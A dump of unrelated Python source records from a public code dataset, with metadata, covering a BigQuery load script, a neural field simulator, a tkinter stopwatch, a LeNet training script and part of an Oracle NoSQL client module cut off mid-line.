"benchmarks/engine/models/cifar/swin.py", "file_name": "swin.py", "file_ext": "py", "file_size_in_byte": 10305, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1853, "dataset": "github-code", "pt": "81", "api": [{"api_name": "torch.nn.Module", "line_number": 7, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 7, "usage_type": "name"}, {"api_name": "torch.roll", "line_number": 13, "usage_type": "call"}, {"api_name": "torch.nn.Module", "line_number": 16, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 16, "usage_type": "name"}, {"api_name": "torch.nn.Module", "line_number": 25, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 25, "usage_type": "name"}, {"api_name": "torch.nn.LayerNorm", "line_number": 28, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 28, "usage_type": "name"}, {"api_name": "torch.nn.Module", "line_number": 35, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 35, "usage_type": "name"}, {"api_name": "torch.nn.Sequential", "line_number": 38, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 38, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 39, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 39, "usage_type": "name"}, {"api_name": "torch.nn.GELU", "line_number": 40, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 40, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 41, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 41, "usage_type": "name"}, {"api_name": "torch.zeros", "line_number": 49, "usage_type": "call"}, {"api_name": "einops.rearrange", "line_number": 56, "usage_type": "call"}, {"api_name": "einops.rearrange", "line_number": 59, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 65, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 65, "usage_type": "call"}, {"api_name": "torch.nn.Module", "line_number": 70, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 70, "usage_type": "name"}, {"api_name": "torch.nn.Parameter", "line_number": 85, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 85, "usage_type": "name"}, {"api_name": "torch.nn.Parameter", "line_number": 87, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 87, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 90, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 90, "usage_type": "name"}, {"api_name": "torch.nn.Parameter", "line_number": 94, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 94, "usage_type": "name"}, {"api_name": "torch.randn", "line_number": 94, "usage_type": "call"}, {"api_name": "torch.nn.Parameter", "line_number": 96, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 96, "usage_type": "name"}, {"api_name": "torch.randn", "line_number": 96, "usage_type": "call"}, {"api_name": "torch.nn.Linear", "line_number": 98, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 98, "usage_type": "name"}, {"api_name": "einops.rearrange", "line_number": 111, "usage_type": "call"}, {"api_name": "torch.einsum", "line_number": 114, "usage_type": "call"}, {"api_name": "torch.einsum", "line_number": 127, "usage_type": "call"}, {"api_name": "einops.rearrange", "line_number": 128, "usage_type": "call"}, {"api_name": "torch.nn.Module", "line_number": 137, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 137, "usage_type": "name"}, {"api_name": "torch.nn.Module", "line_number": 154, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 154, "usage_type": "name"}, {"api_name": "torch.nn.Unfold", "line_number": 158, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 158, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 159, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 159, "usage_type": "name"}, {"api_name": "torch.nn.Module", "line_number": 169, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 169, "usage_type": "name"}, {"api_name": "torch.nn.ModuleList", "line_number": 178, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 178, "usage_type": "name"}, {"api_name": "torch.nn.ModuleList", "line_number": 180, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 180, "usage_type": "name"}, {"api_name": "torch.nn.Module", "line_number": 195, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 195, "usage_type": "name"}, {"api_name": "torch.nn.Sequential", "line_number": 213, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 213, "usage_type": "name"}, {"api_name": "torch.nn.LayerNorm", "line_number": 214, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 214, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 215, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 215, "usage_type": "name"}]}
{"seq_id": "17716584371", "text": "from google.cloud import bigquery\r\nimport os\r\nclient=bigquery.Client()\r\nos.environ['GOOGLE_APPLICATION_CREDENTIALS']='D:\\Pycharm\\GCP\\gkey-bigquery-practice-sample-31e14021aadb.json'\r\nrows_table=client.list_rows('bigquery-practice-sample.practice_data_manipulation.json_load_tbl')\r\nrows=list(rows_table)\r\nprint(\"the Downloaded {} rows from the table {} \".format(rows,rows_table))\r\ntable_id='bigquery-practice-sample.gcp_practice_sample.load_tbl_from_code'\r\njob_config=bigquery.LoadJobConfig(\r\n    schema=[\r\n        bigquery.SchemaField(\"name\",\"STRING\"),\r\n        bigquery.SchemaField(\"post_abbr\",\"STRING\"),\r\n],\r\n    source_format=bigquery.SourceFormat.NEWLINE_DELIMITED_JSON,\r\n)\r\nuri=\"gs://cloud-samples-data/bigquery/us-states/us-states.json\"\r\nload_job=client.load_table_from_uri(\r\n    uri,\r\n    table_id,\r\n    location=\"US\",\r\n    job_config=job_config,\r\n)\r\nload_job.result()\r\ndestination_table=client.get_table(table_id)\r\nprint(\"Landed {} rows\".format(destination_table.num_rows))", "repo_name": "mohitaroragit/CodeRepo", "sub_path": "bigquery_dml_ops.py", "file_name": "bigquery_dml_ops.py", "file_ext": "py", "file_size_in_byte": 981, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "google.cloud.bigquery.Client", "line_number": 3, "usage_type": "call"}, {"api_name": "google.cloud.bigquery", "line_number": 3, "usage_type": "name"}, {"api_name": "os.environ", "line_number": 4, "usage_type": "attribute"}, {"api_name": "google.cloud.bigquery.LoadJobConfig", "line_number": 9, "usage_type": "call"}, {"api_name": "google.cloud.bigquery", "line_number": 9, "usage_type": "name"}, {"api_name": "google.cloud.bigquery.SchemaField", "line_number": 11, "usage_type": "call"}, {"api_name": "google.cloud.bigquery", "line_number": 11, "usage_type": "name"}, {"api_name": "google.cloud.bigquery.SchemaField", "line_number": 12, "usage_type": "call"}, {"api_name": "google.cloud.bigquery", "line_number": 12, "usage_type": "name"}, {"api_name": "google.cloud.bigquery.SourceFormat", "line_number": 14, "usage_type": "attribute"}, {"api_name": "google.cloud.bigquery", "line_number": 14, "usage_type": "name"}]}
{"seq_id": "22898853135", "text": "'''\nScript for a three-layer neural field simulator.\n\nThe scripts sets up an architecture with three one-dimensional neural\nfields: two excitatory fields, u and w, and a shared inhibitory field, v.\nFields u and w feature local self-excitation and project to each other\nand to field v in a local excitatory fashion. Field v inhibits both\nexcitatory fields, either locally or globally.\n\nThe script then runs the simulator, first with timing, then with online\nplotting.\n'''\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport time\n\n\n### choose here whether cosivina is used with or without numba ###\n\nfrom cosivina.nonumba import *\n# from cosivina.numba import *\n\nif options.useNumba:\n    print('Using cosvina with numba (just-in-time compilation). Each function '\n            'will be compiled when first called, which can take a long time, '\n            'but subsequent function calls will be substantially faster.\\n')\nelse:\n    print('Using cosvina without numba.\\n')\n\nprint('Note: Changing between numba and no-numba mode may require restarting the kernel.\\n')\n\n\n## create sim\n\n# Note: We could create the simulator by just loading from the json file:\n# sim = Simulator(file = 'presetThreeLayerField_changeDetection.json')\n\nprint('Creating simulator object...')\n\n# shared parameters\nfieldSize = (1, 180) # important: size for elements must be defined as a tuple\nsigma_exc = 5\nsigma_inh = 10\n\n# create simulator object\nsim = Simulator()\n\n# create inputs (and sum for visualization)\nsim.addElement(GaussStimulus1D('stimulus 1', fieldSize, sigma_exc, 0, round(1/4*fieldSize[1]), True, False))\nsim.addElement(GaussStimulus1D('stimulus 2', fieldSize, sigma_exc, 0, round(1/2*fieldSize[1]), True, False))\nsim.addElement(GaussStimulus1D('stimulus 3', fieldSize, sigma_exc, 0, round(3/4*fieldSize[1]), True, False))\nsim.addElement(SumInputs('stimulus sum', fieldSize), ['stimulus 1', 'stimulus 2', 'stimulus 3'])\nsim.addElement(ScaleInput('stimulus scale w', fieldSize, 0), 'stimulus sum')\n\n# create neural field\nsim.addElement(NeuralField('field u', fieldSize, 20, -5, 4), 'stimulus sum')\nsim.addElement(NeuralField('field v', fieldSize, 5, -5, 4))\nsim.addElement(NeuralField('field w', fieldSize, 20, -5, 4), 'stimulus scale w')\n\n# # shifted input sum (for plot) - currently not supported in numba mode (h is not a component of NeuralField)\n# sim.addElement(SumInputs('shifted stimulus sum', fieldSize), ['stimulus sum', 'field u'], ['output', 'h'])\n# sim.addElement(SumInputs('shifted stimulus sum w', fieldSize), ['stimulus scale w', 'field w'], ['output', 'h'])\n\n# create interactions\nsim.addElement(GaussKernel1D('u -> u', fieldSize, sigma_exc, 0, True, True), 'field u', 'output', 'field u')\nsim.addElement(GaussKernel1D('u -> v', fieldSize, sigma_exc, 0, True, True), 'field u', 'output', 'field v')\nsim.addElement(GaussKernel1D('u -> w', fieldSize, sigma_exc, 0, True, True), 'field u', 'output', 'field w')\n\nsim.addElement(GaussKernel1D('v -> u (local)', fieldSize, sigma_inh, 0, True, True), 'field v', 'output', 'field u')\nsim.addElement(GaussKernel1D('v -> w (local)', fieldSize, sigma_inh, 0, True, True), 'field v', 'output', 'field w')\n\n# the dimension(s) to sum over must be specified as a numpy array\nsim.addElement(SumDimension('sum v', np.array([2]), (1, 1), 1), 'field v', 'output')\nsim.addElement(ScaleInput('v -> u (global)', fieldSize, 0), 'sum v', 'output', 'field u')\nsim.addElement(ScaleInput('v -> w (global)', fieldSize, 0), 'sum v', 'output', 'field w')\n\nsim.addElement(GaussKernel1D('w -> u', fieldSize, sigma_exc, 0, True, True), 'field w', 'output', 'field u')\nsim.addElement(GaussKernel1D('w -> v', fieldSize, sigma_exc, 0, True, True), 'field w', 'output', 'field v')\nsim.addElement(GaussKernel1D('w -> w', fieldSize, sigma_exc, 0, True, True), 'field w', 'output', 'field w')\n\n# create noise stimulus and noise kernel\nsim.addElement(NormalNoise('noise u', fieldSize, 1));\nsim.addElement(GaussKernel1D('noise kernel u', fieldSize, 0, 2, True, True), 'noise u', 'output', 'field u')\nsim.addElement(NormalNoise('noise v', fieldSize, 1))\nsim.addElement(GaussKernel1D('noise kernel v', fieldSize, 0, 1, True, True), 'noise v', 'output', 'field v')\nsim.addElement(NormalNoise('noise w', fieldSize, 1))\nsim.addElement(GaussKernel1D('noise kernel w', fieldSize, 0, 2, True, True), 'noise w', 'output', 'field w')\n\n# load parameter settings\nsim.loadSettings('presetThreeLayerField_changeDetection.json')\n\n\n## running the simulation\n\ntMax = 1000\n\nprint('Running simulation (first time) ...')\nt0 = time.time()\nsim.run(tMax, True)\nt1 = time.time()\nprint(f'Time taken: {round(t1-t0, ndigits=3)} seconds')\n\nprint('Running simulation (second time) ...')\nt0 = time.time()\nsim.run(tMax, True)\nt1 = time.time()\nprint(f'Time taken: {round(t1-t0, ndigits=3)} seconds')\n\n\n## online plotting of field activations\n\nprint('\\nRunning simulation with online plotting (plotting may be slow in some environments) ...')\n\n# turn on interactive plotting\nplt.ion()\n\n# re-initialize\nsim.init()\n\n# prepare axes\nfig, axes = plt.subplots(3, 1)\nfor i in range(3):\n    axes[i].set_xlim(0, fieldSize[1])\n    axes[i].set_ylim(-15, 15)\n    axes[i].set_ylabel('activation')\naxes[2].set_xlabel('feature space')\n\n# plot initial state\nx = np.arange(fieldSize[1])\nplot_stim, plot_u = axes[0].plot(x, sim.getComponent('stimulus sum', 'output')[0],\n        x, sim.getComponent('field u', 'activation')[0], color='b')\nplot_stim.set_color('g')\nplot_v, = axes[1].plot(x, sim.getComponent('field v', 'activation')[0], color='b')\nplot_stimw, plot_w = axes[2].plot(x, sim.getComponent('stimulus scale w', 'output')[0],\n        x, sim.getComponent('field w', 'activation')[0], color='b')\nplot_stimw.set_color('g')\n\n# run simulation\ntMax = 100\nfor t in range(tMax):\n    sim.step()\n\n    plot_u.set_ydata(sim.getComponent('field u', 'activation')[0])\n    plot_v.set_ydata(sim.getComponent('field v', 'activation')[0])\n    plot_w.set_ydata(sim.getComponent('field w', 'activation')[0])\n    plot_stim.set_ydata(sim.getComponent('stimulus sum', 'output')[0])\n    plot_stimw.set_ydata(sim.getComponent('stimulus scale w', 'output')[0])\n    fig.canvas.draw()\n    fig.canvas.flush_events()\n    time.sleep(0.01)\n\n\n\n", "repo_name": "cosivina/cosivina_python", "sub_path": "exampleThreeLayerField.py", "file_name": "exampleThreeLayerField.py", "file_ext": "py", "file_size_in_byte": 6186, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "81", "api": [{"api_name": "numpy.array", "line_number": 74, "usage_type": "call"}, {"api_name": "time.time", "line_number": 99, "usage_type": "call"}, {"api_name": "time.time", "line_number": 101, "usage_type": "call"}, {"api_name": "time.time", "line_number": 105, "usage_type": "call"}, {"api_name": "time.time", "line_number": 107, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.ion", "line_number": 116, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 116, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 122, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 122, "usage_type": "name"}, {"api_name": "numpy.arange", "line_number": 130, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 151, "usage_type": "call"}]}
{"seq_id": "72721416264", "text": "# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Tue Aug  4 18:43:42 2020\r\n\r\n@author: DELL\r\n\"\"\"\r\n\r\nimport tkinter as tk\r\nimport tkinter.font as TkFont\r\nfrom datetime import datetime\r\n\r\ndef run():\r\n  current_time=datetime.now()\r\n  diff=current_time - start_time\r\n  txt_var.set('%d.%02d'%(diff.seconds,diff.microseconds//10000))\r\n  \r\n  if running:\r\n    root.after(20,run)\r\n\r\ndef start():\r\n  global running\r\n  global start_time\r\n  \r\n  if not running:\r\n    running=True\r\n    start_time=datetime.now()\r\n    root.after(10,run)\r\n\r\ndef stop():\r\n  global running\r\n  running=False\r\n\r\ndef reset():\r\n  global start_time\r\n  start_time=datetime.now()\r\n\r\n  if not running:\r\n    txt_var.set('0.00')\r\n\r\nrunning=False\r\nstart_time=None\r\n\r\nroot=tk.Tk()\r\nroot.geometry(\"500x200\")\r\nroot.title(\"StopWatch\")\r\n\r\ntxt_var=tk.StringVar()\r\ntxt_var.set('0.00')\r\n\r\nfontStyle=TkFont.Font(family=\"Lucida Grade\",size=50)\r\ntk.Label(root,textvariable=txt_var,font=fontStyle).pack()\r\n\r\ntk.Button(root,text=\"Start\",command=start).pack(fill='x')\r\ntk.Button(root,text=\"Stop\",command=stop).pack(fill='x')\r\ntk.Button(root,text=\"Reset\",command=reset).pack(fill='x')\r\ntk.Button(root,text=\"Time Lapsed\",command=run).pack(fill='x')\r\n\r\nroot.mainloop()", "repo_name": "codeitbijay/Hacktoberfest2k20", "sub_path": "Python/py_projects/stopwatch/stopwatchgui.py", "file_name": "stopwatchgui.py", "file_ext": "py", "file_size_in_byte": 1196, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 85, "dataset": "github-code", "pt": "81", "api": [{"api_name": "datetime.datetime.now", "line_number": 13, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 13, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 26, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 26, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 35, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 35, "usage_type": "name"}, {"api_name": "tkinter.Tk", "line_number": 43, "usage_type": "call"}, {"api_name": "tkinter.StringVar", "line_number": 47, "usage_type": "call"}, {"api_name": "tkinter.font.Font", "line_number": 50, "usage_type": "call"}, {"api_name": "tkinter.font", "line_number": 50, "usage_type": "name"}, {"api_name": "tkinter.Label", "line_number": 51, "usage_type": "call"}, {"api_name": "tkinter.Button", "line_number": 53, "usage_type": "call"}, {"api_name": "tkinter.Button", "line_number": 54, "usage_type": "call"}, {"api_name": "tkinter.Button", "line_number": 55, "usage_type": "call"}, {"api_name": "tkinter.Button", "line_number": 56, "usage_type": "call"}]}
{"seq_id": "71087642185", "text": "from torchvision import datasets\nfrom torch.utils.data import DataLoader\nimport torch.optim as optim\nimport torch.nn as nn\nimport torch\nfrom model import lenet\n\ndef train(model, criterion, optimizer, train_loader, validation_loader, epochs):\n    i=100\n    stuff = {'training_loss': [], 'validation_loss': []}\n\n    for epoch in range(epochs):\n        for i, (x,y) in enumerate(train_loader):\n            optimizer.zero_grad()\n            z = model(x.view(-1, 28*28))\n            loss = criterion(z, y)\n            loss.backward()\n            optimizer.step()\n            stuff['training_loss'].append(loss.data.item())\n        \n        correct = 0\n        for (x,y) in validation_loader:\n            z = model(x.view(-1, 28*28))\n            _, label = torch.max(z)\n            correct += (label == y).sum().item()\n        \n        accuracy = 100 * (correct / len(validation_dataset))\n        stuff['validation_accuracy'].append(accuracy)\n    return stuff\n\n\nif __name__ == '__main__':\n    model = lenet.LeNet()\n    \n    criterion = nn.CrossEntropyLoss()\n    \n    l_rate = 0.01\n    optimizer = optim.Adam(model.parameters(), lr=l_rate)\n\n    train_dataset = datasets.MNIST(\n        root='datasets/mnist', train=True, download=False)\n    validation_dataset = datasets.MNIST(\n        root='datasets/mnist', train=False, download=False)\n    \n    train_loader = DataLoader(dataset=train_dataset, batch_size=64, shuffle=True)\n    \n    validation_loader = DataLoader(dataset=validation_dataset, batch_size=64, shuffle=True)\n    \n    dataset_sizes = {\n        'train':len(train_dataset), 'val':len(validation_dataset)\n        }\n\n    print(dataset_sizes)\n    for batch_ndx, sample in enumerate(train_loader):\n        print(sample.inp.is_pinned())\n        print(sample.tgt.is_pinned())\n\n    # train(\n    #     model=model,\n    #     criterion=criterion,\n    #     optimizer=optimizer,\n    #     train_loader=train_loader,\n    #     validation_loader=validation_loader,\n    #     epochs=10\n    # )\n", "repo_name": "chtakyol/lenet5", "sub_path": "train.py", "file_name": "train.py", "file_ext": "py", "file_size_in_byte": 1984, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "torch.max", "line_number": 24, "usage_type": "call"}, {"api_name": "model.lenet.LeNet", "line_number": 33, "usage_type": "call"}, {"api_name": "model.lenet", "line_number": 33, "usage_type": "name"}, {"api_name": "torch.nn.CrossEntropyLoss", "line_number": 35, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 35, "usage_type": "name"}, {"api_name": "torch.optim.Adam", "line_number": 38, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 38, "usage_type": "name"}, {"api_name": "model.parameters", "line_number": 38, "usage_type": "call"}, {"api_name": "torchvision.datasets.MNIST", "line_number": 40, "usage_type": "call"}, {"api_name": "torchvision.datasets", "line_number": 40, "usage_type": "name"}, {"api_name": "torchvision.datasets.MNIST", "line_number": 42, "usage_type": "call"}, {"api_name": "torchvision.datasets", "line_number": 42, "usage_type": "name"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 45, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 47, "usage_type": "call"}]}
{"seq_id": "42395585869", "text": "import base64\nimport json\nimport logging\n\nfrom utilities import ONDB_ABORT_IF_UNSUCCESSFUL\nfrom utilities import ONDB_ABSOLUTE\nfrom utilities import ONDB_AP_ALL\nfrom utilities import ONDB_AP_NONE\nfrom utilities import ONDB_AP_SIMPLE_MAJORITY\nfrom utilities import ONDB_CONSISTENCY\nfrom utilities import ONDB_DAYS\nfrom utilities import ONDB_DELETE\nfrom utilities import ONDB_DELETE_IF_VERSION\nfrom utilities import ONDB_DIRECTION\nfrom utilities import ONDB_DURABILITY\nfrom utilities import ONDB_END_INCLUSIVE\nfrom utilities import ONDB_END_VALUE\nfrom utilities import ONDB_FIELD\nfrom utilities import ONDB_FIELD_RANGE\nfrom utilities import ONDB_FORWARD\nfrom utilities import ONDB_HOURS\nfrom utilities import ONDB_INCLUDED_TABLES\nfrom utilities import ONDB_MASTER_SYNC\nfrom utilities import ONDB_MAX_RESULTS\nfrom utilities import ONDB_NONE_REQUIRED\nfrom utilities import ONDB_NONE_REQUIRED_NO_MASTER\nfrom utilities import ONDB_OPERATION\nfrom utilities import ONDB_OPERATION_TYPE\nfrom utilities import ONDB_PERMISSIBLE_LAG\nfrom utilities import ONDB_PUT\nfrom utilities import ONDB_PUT_IF_ABSENT\nfrom utilities import ONDB_PUT_IF_PRESENT\nfrom utilities import ONDB_PUT_IF_VERSION\nfrom utilities import ONDB_RC_ALL\nfrom utilities import ONDB_RC_NONE\nfrom utilities import ONDB_RC_VALUE\nfrom utilities import ONDB_RC_VERSION\nfrom utilities import ONDB_READ_OPTIONS\nfrom utilities import ONDB_REPLICA_ACK\nfrom utilities import ONDB_REPLICA_SYNC\nfrom utilities import ONDB_RETURN_CHOICE\nfrom utilities import ONDB_REVERSE\nfrom utilities import ONDB_ROW\nfrom utilities import ONDB_SIMPLE_CONSISTENCY\nfrom utilities import ONDB_SP_NO_SYNC\nfrom utilities import ONDB_SP_SYNC\nfrom utilities import ONDB_SP_WRITE_NO_SYNC\nfrom utilities import ONDB_START_INCLUSIVE\nfrom utilities import ONDB_START_VALUE\nfrom utilities import ONDB_TABLE_NAME\nfrom utilities import ONDB_TIMEOUT\nfrom utilities import ONDB_TIMEUNIT\nfrom utilities import ONDB_TIME_CONSISTENCY\nfrom utilities import ONDB_TTL_TIMEUNIT\nfrom utilities import ONDB_TTL_VALUE\nfrom utilities import ONDB_UNORDERED\nfrom utilities import ONDB_UPDATE_TTL\nfrom utilities import ONDB_VERSION\nfrom utilities import ONDB_VERSION_CONSISTENCY\n\nfrom oracle.kv.proxy.gen.ttypes import TConsistency\nfrom oracle.kv.proxy.gen.ttypes import TDirection\nfrom oracle.kv.proxy.gen.ttypes import TDurability\nfrom oracle.kv.proxy.gen.ttypes import TFieldRange\nfrom oracle.kv.proxy.gen.ttypes import TOperation\nfrom oracle.kv.proxy.gen.ttypes import TOperationType\nfrom oracle.kv.proxy.gen.ttypes import TReadOptions\nfrom oracle.kv.proxy.gen.ttypes import TReplicaAckPolicy\nfrom oracle.kv.proxy.gen.ttypes import TReturnChoice\nfrom oracle.kv.proxy.gen.ttypes import TRow\nfrom oracle.kv.proxy.gen.ttypes import TSimpleConsistency\nfrom oracle.kv.proxy.gen.ttypes import TSyncPolicy\nfrom oracle.kv.proxy.gen.ttypes import TTimeConsistency\nfrom oracle.kv.proxy.gen.ttypes import TTimeToLive\nfrom oracle.kv.proxy.gen.ttypes import TTimeUnit\nfrom oracle.kv.proxy.gen.ttypes import TVersionConsistency\nfrom oracle.kv.proxy.gen.ttypes import TWriteOptions\n\nlogger = logging.getLogger('nosqldb')\n\n\nclass RestrictedDict(dict):\n    \"\"\"\n    dict wrapper that restrict you to add only a predefined set\n    of keys. This is for custom parameters that expect certain\n    keys.\n    \"\"\"\n    def __init__(self, allowed_keys, seq=(), **kwargs):\n        \"\"\"\n        This is exactly the same as a regular dict init\n        but it has a allowed_keys parameter that let you\n        restrict the valid keys in this dict.\n        \"\"\"\n        super(RestrictedDict, self).__init__()\n        self._allowed_keys = tuple(allowed_keys)\n        # normalize arguments to a (key, value) iterable\n        if hasattr(seq, 'keys'):\n            get = seq.__getitem__\n            seq = ((k, get(k)) for k in seq.keys())\n        if kwargs:\n            from itertools import chain\n            seq = chain(seq, kwargs.iteritems())\n        # scan the items keeping track of the keys' order\n        for k, v in seq:\n            self.__setitem__(k, v)\n\n    def __setitem__(self, key, value):\n        \"\"\"Checks if key is a valid one before setting it\"\"\"\n        if key in self._allowed_keys:\n            super(RestrictedDict, self).__setitem__(key, value)\n        else:\n            raise KeyError(\"%s is not allowed as key\" % key)\n\n    def update(self, e=None, **kwargs):\n        \"\"\"\n        Same as regular dict update but using RestrictedDict.__setitem__()\n        instead of regular dict.__setitem__()\n        \"\"\"\n        try:\n            for k in e:\n                self.__setitem__(k, e[k])\n        except AttributeError:\n            for (k, v) in e:\n                self.__setitem__(k, v)\n        for k in kwargs:\n            self.__setitem__(k, kwargs[k])\n\n    def __eq__(self, other):\n        \"\"\"\n        Add the comparison for allowed_keys in addition to the regular\n        __eq__()\n        \"\"\"\n        if other is None:\n            return False\n        try:\n            allowedcmp = (self._allowed_keys == other._allowed_keys)\n            if allowedcmp:\n                return super(RestrictedDict, self).__eq__(other)\n            else:\n                return False\n        except AttributeError:\n            # other is not a RestrictedDict\n            return False \n\n    def __ne__(self, other):\n        \"\"\"Equivalent to not __eq__() \"\"\"\n        return not self.__eq__(other)\n\n    def print_allowed_keys(self):\n        \"\"\"Print the set of allowed keys\"\"\"\n        return 'Allowed Keys(%s)' % (self._allowed_keys.__repr__())\n\n    def validate_return_opts(self, ret_opts):\n        if (ret_opts is not None):\n            if((type(ret_opts) is str or type(ret_opts) is unicode) and\n                (ret_opts == ONDB_RC_ALL or\n                ret_opts == ONDB_RC_NONE or\n                ret_opts == ONDB_RC_VALUE or\n                ret_opts == ONDB_RC_VERSION)):\n                    return True\n            else:\n                return False\n        else:\n            return True\n\n    def validate(self):\n        \"\"\"This method should be filled in children\"\"\"\n        pass\n\n\nclass DataManager:\n    # This class is in charge of making the appropiate changes from JSON to\n    # the native Thrift classes needed for the protocol.\n    @staticmethod\n    def dict_to_trow(in_dict):\n        \"\"\"\n          Convert from a native python dict to a TRow.\n          @param in_dict: the dictoinary to be converted to TRow.\n          @return: a TRow with the desired information.\n        \"\"\"\n        t_ttl = None\n        if (in_dict is not None):\n            res = json.dumps(in_dict)\n            try:\n                ttl = in_dict.get_timetolive()\n                if (ttl is not None):\n                    val = ttl.get(ONDB_TTL_VALUE)\n                    timeunit = ttl.get(ONDB_TTL_TIMEUNIT)\n                    t_timeunit = DataManager.from_json_to_ttimeunit(timeunit)\n                    t_ttl = TTimeToLive(value=val, timeUnit=t_timeunit)\n            except AttributeError:\n                pass\n        else:\n            res = {}\n        return TRow(jsonRow=res, ttl=t_ttl)\n\n    @staticmethod\n    def encode_binary(data):\n        # Encode to Base64 the given data\n        if (data is not None):\n            return base64.b64encode(data)\n        else:\n            return None\n\n    @staticmethod\n    def decode_binary(data):\n        # Decode from Base64 the given data\n        if (data is not None):\n            return base64.b64decode(data)\n        else:\n            return None\n\n    @staticmethod\n    def trow_to_dict(trow):\n        # Convert back from a TRow to a dict with native python values.\n        # @param twriteresult: the resulting data from the put operation.\n        # @return: a dictionary with the data returned.\n        if (trow is not None):\n            res = json.loads(trow.jsonRow)\n        else:\n            res = None\n        return res\n\n    @staticmethod\n    def from_json_to_tsync_policy(policy):\n        # This method converts from synch policy to the Thrift equivalent\n        if (policy is not None):\n            if (policy == ONDB_SP_NO_SYNC):\n                return TSyncPolicy.NO_SYNC\n            elif (policy == ONDB_SP_SYNC):\n                return TSyncPolicy.SYNC\n            elif (policy == ONDB_SP_WRITE_NO_SYNC):\n                return TSyncPolicy.WRITE_NO_SYNC\n        return None\n\n    @staticmethod\n    def from_json_to_treplica_ack_policy(policy):\n        # This method converts from replica ack policy to Thrift equivalent\n        if (policy is not None):\n            if (policy == ONDB_AP_ALL):\n                return TReplicaAckPolicy.ALL\n            elif (policy == ONDB_AP_NONE):\n                return TReplicaAckPolicy.NONE\n            elif (policy == ONDB_AP_SIMPLE_MAJORITY):\n                return TReplicaAckPolicy.SIMPLE_MAJORITY\n        return None\n\n    @staticmethod\n    def from_json_to_tdurability(durability):\n        # This method converts from Durability to the Thrift equivalent\n        master_sync_val = replica_sync_val = replica_ack_val = None\n        if (durability is not None and isinstance(durability, dict)):\n            master_sync_val = DataManager.from_json_to_tsync_policy(\n                durability.get(ONDB_MASTER_SYNC, None))\n            replica_sync_val = DataManager.from_json_to_tsync_policy(\n                durability.get(ONDB_REPLICA_SYNC, None))\n            replica_ack_val = DataManager.from_json_to_treplica_ack_policy(\n                durability.get(ONDB_REPLICA_ACK, None))\n        logger.debug(\"master_sync={0} replica_sync={1} replica_ack={2}\".\n            format(master_sync_val, replica_sync_val, replica_ack_val))\n        # return something as long as there is relevant information to encode\n        if (master_sync_val is None and\n           replica_sync_val is None and\n           replica_ack_val is None):\n            return None\n        else:\n            return TDurability(masterSync=master_sync_val,\n                               replicaSync=replica_sync_val,\n                               replicaAck=replica_ack_val)\n\n    @staticmethod\n    def from_json_to_treturn_choice(return_opt):\n        # This method converts from Return Choice to the Thrift equivalent\n        if (return_opt is not None):\n            if (return_opt == ONDB_RC_NONE):\n                return TReturnChoice.NONE\n            elif (return_opt == ONDB_RC_ALL):\n                return TReturnChoice.ALL\n            elif (return_opt == ONDB_RC_VALUE):\n                return TReturnChoice.ONLY_VALUE\n            elif (return_opt == ONDB_RC_VERSION):\n                return TReturnChoice.ONLY_VERSION\n        return None\n\n    @staticmethod\n    def from_json_to_twrite_options(write_opts):\n        # This method converts from Write Options to the Thrift equivalent\n        durability_val = timeout_val = return_opt_val = None\n        if (write_opts is not None):\n            # encode durability\n            dur = write_opts.get(ONDB_DURABILITY, None)\n            if (dur is not None):\n                durability_val = 